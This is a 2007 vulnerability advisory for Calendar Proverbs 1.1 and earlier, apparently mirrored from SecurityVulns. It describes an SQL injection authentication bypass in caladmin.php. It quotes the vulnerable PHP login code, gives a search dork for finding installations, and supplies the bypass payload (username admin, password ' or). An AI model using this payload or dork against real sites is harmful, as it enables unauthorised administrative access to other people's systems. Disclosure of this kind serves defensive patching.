Calendar Proverbs <=1.1 (caladmin.php) Remote SQL Injection

2007-11-26T00:00:00
ID SECURITYVULNS:DOC:18501
Type securityvulns
Reporter Securityvulns
Modified 2007-11-26T00:00:00

Description

Calendar Proverbs <=1.1 (caladmin.php) Remote SQL Injection

Download:

http://www.proverbs.biz/downloads/calendar.zip

Bug found by JosS / Jose Luis Gуngora Fernбndez

Contact: sys-project[at]hotmail.com

Spanish Hackers Team

www.spanish-hackers.com

/server irc.freenode.net /join #fullsecure

d0rk: "Calendar powered by Proverbs"

Stop lammer

[*] Vuln Code - caladmin.inc.php

$user = ""; $pass = ""; if (isset($_POST['loginname']) && $_POST['loginname'] != "") $user = $_POST['loginname']; if (isset($_POST['loginpass']) && $_POST['loginpass'] != "") $pass = $_POST['loginpass']; $loggedin = $this->loginuser($user, $pass);

[*] Simple Sql Injection In:

http://www.example.com/PATH/caladmin.php http://www.example.com/events/caladmin.php

[*] Exploit:

Username: admin Password: ' or

//---------------------------------------\\

Greetz To: All Hackers JosS! / Jose Luis Gуngora Fernбndez